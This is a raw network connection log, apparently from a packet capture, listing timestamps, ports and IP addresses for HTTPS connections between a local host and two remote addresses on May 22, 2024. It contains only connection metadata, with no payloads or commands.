May 22, 2024 20:02:12.224741936 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.224895000 CEST	59901	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.232171059 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.276887894 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.276952028 CEST	59901	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.276982069 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.286164045 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.286221027 CEST	59901	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.286230087 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.290541887 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.290599108 CEST	59901	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.290606976 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.293345928 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.293405056 CEST	59901	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.293411970 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.298774004 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.298850060 CEST	59901	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.298852921 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.298881054 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.298923969 CEST	59901	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.304223061 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.309674025 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.309731960 CEST	59901	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.309740067 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.313563108 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.313625097 CEST	59901	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.313636065 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.320513964 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.320588112 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.320595026 CEST	59901	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.320612907 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.320661068 CEST	59901	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.321042061 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.324850082 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.324908972 CEST	59901	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.324918032 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.334038019 CEST	443	59907	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.334276915 CEST	59907	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.334301949 CEST	443	59907	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.335297108 CEST	443	59907	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.335362911 CEST	59907	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.335637093 CEST	59907	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.335692883 CEST	443	59907	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.335783005 CEST	59907	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.335792065 CEST	443	59907	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.342680931 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.342753887 CEST	59901	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.342761993 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.342817068 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.342866898 CEST	59901	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.342874050 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.351090908 CEST	443	59908	188.114.96.3	192.168.2.17
May 22, 2024 20:02:12.351326942 CEST	59908	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:12.351341963 CEST	443	59908	188.114.96.3	192.168.2.17
May 22, 2024 20:02:12.352788925 CEST	443	59908	188.114.96.3	192.168.2.17
May 22, 2024 20:02:12.352857113 CEST	59908	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:12.353108883 CEST	59908	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:12.353184938 CEST	443	59908	188.114.96.3	192.168.2.17
May 22, 2024 20:02:12.353235006 CEST	59908	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:12.377238035 CEST	59907	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.381269932 CEST	443	59909	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.381653070 CEST	59909	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.381712914 CEST	443	59909	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.383168936 CEST	443	59909	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.383249998 CEST	59909	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.383467913 CEST	59909	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.383550882 CEST	443	59909	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.383584023 CEST	59909	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.383598089 CEST	443	59909	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.392173052 CEST	59901	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.398492098 CEST	443	59908	188.114.96.3	192.168.2.17
May 22, 2024 20:02:12.407191038 CEST	59908	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:12.407206059 CEST	443	59908	188.114.96.3	192.168.2.17
May 22, 2024 20:02:12.412827969 CEST	443	59910	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.413203001 CEST	59910	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.413264036 CEST	443	59910	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.416438103 CEST	443	59910	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.416510105 CEST	59910	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.416791916 CEST	59910	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.416866064 CEST	443	59910	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.416985989 CEST	59910	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.417004108 CEST	443	59910	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.423367977 CEST	59909	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.423382044 CEST	443	59909	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.455220938 CEST	59908	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:12.471339941 CEST	59910	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.471340895 CEST	59909	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.520464897 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.522114038 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.522180080 CEST	59901	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.522197962 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.525686026 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.525754929 CEST	59901	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.525764942 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.525811911 CEST	59901	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.528145075 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.528167963 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.528212070 CEST	59901	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.533004045 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.533070087 CEST	59901	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.533078909 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.533117056 CEST	59901	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.535315990 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.535377979 CEST	59901	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.540344954 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.540436029 CEST	59901	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.542551041 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.542628050 CEST	59901	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.546962023 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.547060966 CEST	59901	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.549478054 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.549562931 CEST	59901	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.552573919 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.552639961 CEST	59901	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.553915024 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.553977013 CEST	59901	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.565104961 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.565206051 CEST	59901	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.566380978 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.566452026 CEST	59901	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.568129063 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.568193913 CEST	59901	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.569283962 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.569345951 CEST	59901	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.569417953 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.569557905 CEST	59901	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.569571018 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.569618940 CEST	59901	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.569628000 CEST	443	59901	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.569677114 CEST	59901	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.571754932 CEST	59911	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.571846962 CEST	443	59911	188.114.97.3	192.168.2.17
May 22, 2024 20:02:12.571935892 CEST	59911	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.572151899 CEST	59911	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:12.572170973 CEST	443	59911	188.114.97.3	192.168.2.17
May 22, 2024 20:02:13.057466030 CEST	443	59904	188.114.97.3	192.168.2.17
May 22, 2024 20:02:13.057564020 CEST	443	59904	188.114.97.3	192.168.2.17
May 22, 2024 20:02:13.057634115 CEST	59904	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:13.058407068 CEST	59904	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:13.058425903 CEST	443	59904	188.114.97.3	192.168.2.17
May 22, 2024 20:02:13.059830904 CEST	59913	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:13.059858084 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:13.059942007 CEST	59913	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:13.060161114 CEST	59913	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:13.060174942 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:13.060729027 CEST	59914	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:13.060755968 CEST	443	59914	188.114.96.3	192.168.2.17
May 22, 2024 20:02:13.060817957 CEST	59914	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:13.060997009 CEST	59914	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:13.061009884 CEST	443	59914	188.114.96.3	192.168.2.17
May 22, 2024 20:02:13.069040060 CEST	443	59911	188.114.97.3	192.168.2.17
May 22, 2024 20:02:13.069298029 CEST	59911	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:13.069359064 CEST	443	59911	188.114.97.3	192.168.2.17
May 22, 2024 20:02:13.070518017 CEST	443	59911	188.114.97.3	192.168.2.17
May 22, 2024 20:02:13.070815086 CEST	59911	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:13.070955038 CEST	59911	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:13.070967913 CEST	443	59911	188.114.97.3	192.168.2.17
May 22, 2024 20:02:13.070991993 CEST	443	59911	188.114.97.3	192.168.2.17
May 22, 2024 20:02:13.125233889 CEST	59911	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:13.388962984 CEST	443	59905	188.114.96.3	192.168.2.17
May 22, 2024 20:02:13.389826059 CEST	443	59905	188.114.96.3	192.168.2.17
May 22, 2024 20:02:13.389900923 CEST	443	59905	188.114.96.3	192.168.2.17
May 22, 2024 20:02:13.389981985 CEST	59905	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:13.389981985 CEST	59905	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:13.390314102 CEST	59905	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:13.390333891 CEST	443	59905	188.114.96.3	192.168.2.17
May 22, 2024 20:02:13.418560028 CEST	443	59903	188.114.97.3	192.168.2.17
May 22, 2024 20:02:13.418744087 CEST	443	59903	188.114.97.3	192.168.2.17
May 22, 2024 20:02:13.418833017 CEST	59903	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:13.419301987 CEST	59903	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:13.419316053 CEST	443	59903	188.114.97.3	192.168.2.17
May 22, 2024 20:02:13.420481920 CEST	59915	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:13.420501947 CEST	443	59915	188.114.97.3	192.168.2.17
May 22, 2024 20:02:13.420564890 CEST	59915	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:13.420763016 CEST	59915	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:13.420773029 CEST	443	59915	188.114.97.3	192.168.2.17
May 22, 2024 20:02:13.421308994 CEST	59916	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:13.421350002 CEST	443	59916	188.114.96.3	192.168.2.17
May 22, 2024 20:02:13.421407938 CEST	59916	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:13.421560049 CEST	59916	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:13.421574116 CEST	443	59916	188.114.96.3	192.168.2.17
May 22, 2024 20:02:13.499294996 CEST	443	59906	188.114.96.3	192.168.2.17
May 22, 2024 20:02:13.499340057 CEST	443	59906	188.114.96.3	192.168.2.17
May 22, 2024 20:02:13.499397993 CEST	443	59906	188.114.96.3	192.168.2.17
May 22, 2024 20:02:13.499402046 CEST	59906	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:13.499444962 CEST	59906	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:13.500224113 CEST	59906	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:13.500242949 CEST	443	59906	188.114.96.3	192.168.2.17
May 22, 2024 20:02:13.535474062 CEST	443	59914	188.114.96.3	192.168.2.17
May 22, 2024 20:02:13.535893917 CEST	59914	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:13.535913944 CEST	443	59914	188.114.96.3	192.168.2.17
May 22, 2024 20:02:13.536401033 CEST	443	59914	188.114.96.3	192.168.2.17
May 22, 2024 20:02:13.536690950 CEST	59914	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:13.536772966 CEST	443	59914	188.114.96.3	192.168.2.17
May 22, 2024 20:02:13.536837101 CEST	59914	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:13.575252056 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:13.575710058 CEST	59913	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:13.575731039 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:13.576064110 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:13.576358080 CEST	59913	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:13.576430082 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:13.576508045 CEST	59913	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:13.576523066 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:13.578506947 CEST	443	59914	188.114.96.3	192.168.2.17
May 22, 2024 20:02:13.822464943 CEST	443	59908	188.114.96.3	192.168.2.17
May 22, 2024 20:02:13.832310915 CEST	443	59908	188.114.96.3	192.168.2.17
May 22, 2024 20:02:13.832591057 CEST	59908	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:13.832591057 CEST	59908	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:13.833502054 CEST	443	59909	188.114.97.3	192.168.2.17
May 22, 2024 20:02:13.833648920 CEST	443	59909	188.114.97.3	192.168.2.17
May 22, 2024 20:02:13.833709955 CEST	59909	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:13.833734035 CEST	443	59909	188.114.97.3	192.168.2.17
May 22, 2024 20:02:13.833811998 CEST	443	59909	188.114.97.3	192.168.2.17
May 22, 2024 20:02:13.833950996 CEST	59909	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:13.833972931 CEST	443	59909	188.114.97.3	192.168.2.17
May 22, 2024 20:02:13.838296890 CEST	443	59909	188.114.97.3	192.168.2.17
May 22, 2024 20:02:13.838380098 CEST	59909	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:13.838403940 CEST	443	59909	188.114.97.3	192.168.2.17
May 22, 2024 20:02:13.838574886 CEST	443	59909	188.114.97.3	192.168.2.17
May 22, 2024 20:02:13.838645935 CEST	59909	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:13.838694096 CEST	59909	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:13.838695049 CEST	59909	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:13.838725090 CEST	443	59909	188.114.97.3	192.168.2.17
May 22, 2024 20:02:13.838790894 CEST	59909	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:13.840075970 CEST	59917	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:13.840109110 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:13.840178967 CEST	59917	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:13.840379000 CEST	59917	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:13.840393066 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:13.840922117 CEST	59918	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:13.840981960 CEST	443	59918	188.114.96.3	192.168.2.17
May 22, 2024 20:02:13.841052055 CEST	59918	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:13.841203928 CEST	59918	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:13.841234922 CEST	443	59918	188.114.96.3	192.168.2.17
May 22, 2024 20:02:13.866116047 CEST	443	59907	188.114.97.3	192.168.2.17
May 22, 2024 20:02:13.866259098 CEST	443	59907	188.114.97.3	192.168.2.17
May 22, 2024 20:02:13.866324902 CEST	59907	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:13.867007017 CEST	59907	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:13.867022991 CEST	443	59907	188.114.97.3	192.168.2.17
May 22, 2024 20:02:13.869584084 CEST	59919	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:13.869626045 CEST	443	59919	188.114.96.3	192.168.2.17
May 22, 2024 20:02:13.869725943 CEST	59919	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:13.869903088 CEST	59919	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:13.869931936 CEST	443	59919	188.114.96.3	192.168.2.17
May 22, 2024 20:02:13.876102924 CEST	443	59910	188.114.97.3	192.168.2.17
May 22, 2024 20:02:13.878680944 CEST	443	59910	188.114.97.3	192.168.2.17
May 22, 2024 20:02:13.878750086 CEST	59910	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:13.878773928 CEST	443	59910	188.114.97.3	192.168.2.17
May 22, 2024 20:02:13.878977060 CEST	443	59910	188.114.97.3	192.168.2.17
May 22, 2024 20:02:13.879024029 CEST	59910	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:13.879137039 CEST	59910	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:13.879148006 CEST	443	59910	188.114.97.3	192.168.2.17
May 22, 2024 20:02:13.881053925 CEST	59920	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:13.881074905 CEST	443	59920	188.114.96.3	192.168.2.17
May 22, 2024 20:02:13.881191969 CEST	59920	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:13.881314039 CEST	59920	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:13.881328106 CEST	443	59920	188.114.96.3	192.168.2.17
May 22, 2024 20:02:13.901171923 CEST	443	59916	188.114.96.3	192.168.2.17
May 22, 2024 20:02:13.901386976 CEST	59916	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:13.901395082 CEST	443	59916	188.114.96.3	192.168.2.17
May 22, 2024 20:02:13.901686907 CEST	443	59916	188.114.96.3	192.168.2.17
May 22, 2024 20:02:13.902054071 CEST	59916	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:13.902054071 CEST	59916	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:13.902070999 CEST	443	59916	188.114.96.3	192.168.2.17
May 22, 2024 20:02:13.902107954 CEST	443	59916	188.114.96.3	192.168.2.17
May 22, 2024 20:02:13.910907984 CEST	443	59915	188.114.97.3	192.168.2.17
May 22, 2024 20:02:13.911189079 CEST	59915	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:13.911200047 CEST	443	59915	188.114.97.3	192.168.2.17
May 22, 2024 20:02:13.912317991 CEST	443	59915	188.114.97.3	192.168.2.17
May 22, 2024 20:02:13.912657022 CEST	59915	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:13.912765980 CEST	59915	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:13.912771940 CEST	443	59915	188.114.97.3	192.168.2.17
May 22, 2024 20:02:13.912822962 CEST	443	59915	188.114.97.3	192.168.2.17
May 22, 2024 20:02:13.956598043 CEST	59916	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:13.956690073 CEST	59915	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:14.148245096 CEST	59908	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:14.148277044 CEST	443	59908	188.114.96.3	192.168.2.17
May 22, 2024 20:02:14.349822044 CEST	443	59919	188.114.96.3	192.168.2.17
May 22, 2024 20:02:14.350073099 CEST	59919	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:14.350089073 CEST	443	59919	188.114.96.3	192.168.2.17
May 22, 2024 20:02:14.351090908 CEST	443	59919	188.114.96.3	192.168.2.17
May 22, 2024 20:02:14.351167917 CEST	59919	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:14.351449013 CEST	59919	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:14.351512909 CEST	443	59919	188.114.96.3	192.168.2.17
May 22, 2024 20:02:14.351587057 CEST	59919	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:14.351594925 CEST	443	59919	188.114.96.3	192.168.2.17
May 22, 2024 20:02:14.362858057 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:14.363065004 CEST	59917	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:14.363078117 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:14.364217997 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:14.364494085 CEST	59917	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:14.364594936 CEST	59917	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:14.364600897 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:14.364669085 CEST	443	59917	188.114.97.3	192.168.2.17
May 22, 2024 20:02:14.365088940 CEST	443	59918	188.114.96.3	192.168.2.17
May 22, 2024 20:02:14.365277052 CEST	59918	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:14.365286112 CEST	443	59918	188.114.96.3	192.168.2.17
May 22, 2024 20:02:14.365722895 CEST	443	59918	188.114.96.3	192.168.2.17
May 22, 2024 20:02:14.365982056 CEST	59918	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:14.366040945 CEST	443	59918	188.114.96.3	192.168.2.17
May 22, 2024 20:02:14.366060972 CEST	59918	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:14.382200003 CEST	443	59920	188.114.96.3	192.168.2.17
May 22, 2024 20:02:14.382400036 CEST	59920	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:14.382411957 CEST	443	59920	188.114.96.3	192.168.2.17
May 22, 2024 20:02:14.385642052 CEST	443	59920	188.114.96.3	192.168.2.17
May 22, 2024 20:02:14.385704041 CEST	59920	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:14.385910034 CEST	59920	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:14.385994911 CEST	443	59920	188.114.96.3	192.168.2.17
May 22, 2024 20:02:14.386015892 CEST	59920	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:14.404185057 CEST	59919	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:14.406492949 CEST	443	59918	188.114.96.3	192.168.2.17
May 22, 2024 20:02:14.420207977 CEST	59917	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:14.420207977 CEST	59918	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:14.430490971 CEST	443	59920	188.114.96.3	192.168.2.17
May 22, 2024 20:02:14.436167002 CEST	59920	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:14.436187983 CEST	443	59920	188.114.96.3	192.168.2.17
May 22, 2024 20:02:14.484217882 CEST	59920	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:14.510742903 CEST	443	59911	188.114.97.3	192.168.2.17
May 22, 2024 20:02:14.511106014 CEST	443	59911	188.114.97.3	192.168.2.17
May 22, 2024 20:02:14.511195898 CEST	59911	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:14.512007952 CEST	59911	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:14.512026072 CEST	443	59911	188.114.97.3	192.168.2.17
May 22, 2024 20:02:14.515948057 CEST	59921	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:14.515984058 CEST	443	59921	188.114.96.3	192.168.2.17
May 22, 2024 20:02:14.516072989 CEST	59921	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:14.516329050 CEST	59921	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:14.516340017 CEST	443	59921	188.114.96.3	192.168.2.17
May 22, 2024 20:02:15.000557899 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.001662016 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.001686096 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.001718998 CEST	59913	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.001733065 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.001770973 CEST	59913	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.003664970 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.006830931 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.006884098 CEST	59913	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.006891966 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.007738113 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.007764101 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.007782936 CEST	59913	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.007790089 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.007827997 CEST	59913	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:15.009540081 CEST	443	59913	188.114.97.3	192.168.2.17
May 22, 2024 20:02:15.009634018 CEST	443	59914	188.114.96.3	192.168.2.17
May 22, 2024 20:02:15.009744883 CEST	443	59914	188.114.96.3	192.168.2.17
May 22, 2024 20:02:15.009788990 CEST	59914	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:15.010286093 CEST	59914	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:15.010299921 CEST	443	59914	188.114.96.3	192.168.2.17
